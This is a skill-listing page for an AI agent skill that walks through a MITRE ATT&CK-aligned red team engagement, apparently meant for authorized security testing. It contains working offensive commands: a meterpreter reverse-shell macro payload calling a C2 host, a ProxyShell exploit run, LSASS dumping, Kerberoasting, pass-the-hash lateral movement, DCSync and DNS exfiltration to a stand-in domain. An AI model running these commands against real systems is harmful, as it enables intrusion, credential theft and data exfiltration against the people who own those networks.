# Conducting Full Scope Red Team Engagement

> Use when plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities. Use when working with conducting full scope red team engagement.

- Skill: `oyi77/conducting-full-scope-red-team-engagement` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds add oyi77/conducting-full-scope-red-team-engagement`
- Raw SKILL.md: https://api.skillmd.com/api/skills/oyi77/conducting-full-scope-red-team-engagement/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: oyi77 (https://skillmd.com/u/oyi77)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/oyi77/conducting-full-scope-red-team-engagement

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# Conducting Full-Scope Red Team Engagement

## Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).


## When to Use
**Trigger phrases:**
- "conducting full scope red team engagement"
- "Plan and execute a comprehensive red team engagement covering reconnaissance thr"


- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Written authorization (Rules of Engagement document) signed by executive leadership
- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

## Engagement Phases

This section covers engagement phases for conducting full scope red team engagement.

- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
### Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
|---|---|---|
| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |

### Phase 2: Reconnaissance (OSINT)

```bash
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv
```

### Phase 3: Initial Access

Common initial access vectors for red team engagements:

**Spearphishing (T1566.001):**
```bash
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json
```

**External Service Exploitation (T1190):**
```bash
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
```

### Phase 4: Post-Exploitation and Lateral Movement

```powershell
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
```

### Phase 5: Objective Achievement

Define and pursue specific objectives:

1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials
2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)
4. **Physical Access**: Badge cloning, tailgating, server room access

```bash
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
```

### Phase 6: Reporting and Debrief

The report should include:

1. **Executive Summary**: Business impact, risk rating, key findings
2. **Attack Narrative**: Timeline of activities with screenshots and evidence
3. **MITRE ATT&CK Mapping**: Full heat map of techniques used
4. **Findings**: Each finding with CVSS score, evidence, remediation
5. **Detection Gap Analysis**: What the SOC detected vs. what was missed
6. **Purple Team Recommendations**: Specific detection rules for gaps identified

## Metrics and KPIs

| Metric | Description |
|---|---|
| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
| Mean Time to Respond (MTTR) | Average time from detection to containment |
| TTP Coverage | Percentage of executed techniques detected |
| Objective Achievement Rate | Percentage of defined objectives completed |
| Dwell Time | Total time red team maintained access undetected |

## Tools and Frameworks

- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot
- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus
- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET
- **Reporting**: PlexTrac, Ghostwriter, Serpico

## When NOT to Use

- You don't have authorization for the assessment
- Task is about implementing findings (use implementing-* skills)
- You need to analyze results (use analyzing-* skills)
- Task is about building assessment tools (use building-* skills)
- Target is out of scope
- Task requires compliance certification (use auditing-* skills)


## Red Flags

- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing

## Verification

- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding

## References

- MITRE ATT&CK Framework: https://attack.mitre.org/
- Red Team Guide: https://redteam.guide/
- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity

## Companion Patterns

- **[Task Router + Case-Init Auth Gate](references/task-router-and-auth-gate.md)** — routing-table classification
  (single source of truth), `scope.md` auth gate before any target ACT, and the Evidence → Finding → Path chain
  with hash-pinned artifacts + read-only pre-handoff review. Condensed from the
  [reverse-skill routing pack](https://github.com/zhaoxuya520/reverse-skill) (MIT) and framework-agnostic.

## Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

## Anti-Rationalization Table

| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |